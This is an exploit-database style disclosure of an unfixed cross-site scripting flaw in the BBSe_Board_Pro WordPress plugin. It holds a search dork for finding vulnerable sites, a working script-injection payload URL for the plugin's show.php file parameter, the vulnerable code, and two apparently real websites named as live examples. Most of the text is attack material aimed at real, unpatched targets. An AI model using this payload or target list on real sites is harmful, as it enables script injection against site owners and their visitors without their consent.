Vendor = bbse_board_pro AKA WordPress Plugin Dork : inurl:"/wp-content/plugins/BBSe_Board_Pro" Currently not fixed Credits = Nano Exploit: /wp-content/plugins/BBSe_Board_Pro/show.php?file=%22%22//;%3Ch1%3EHi%3C/h1%3E;//;;Imagine-having-injections%22hi%22;%3Cp%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/p%3E&PageSpeed=noscript Reason : doesn't check input and embeds the url as a image Vulnerable Code: <td align="center" valign="middle"><a href="javascript:;" onclick="self.close();"><img src="http://******>.org/wp-content/uploads/bbse-board/\" \" ;<h1>l</h1>//" border="0" width= height=0 alt="첨부파일" /></a></td> Examples : http://doctorbio.kr/wp-content/plugins/BBSe_Board_Pro/show.php?file=%22%22//;%3Ch1%3EHi%3C/h1%3E;//;;Imagine-having-injections%22hi%22;%3Cp%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/p%3E&PageSpeed=noscript http://www.sdnoin.org/wp-content/plugins/BBSe_Board_Pro/show.php?file=%22%22//;%3Ch1%3EHi%3C/h1%3E;//;;Imagine-having-injections%22hi%22;%3Cp%3E<script>alert(1)</script>%3C/p%3E&PageSpeed=noscript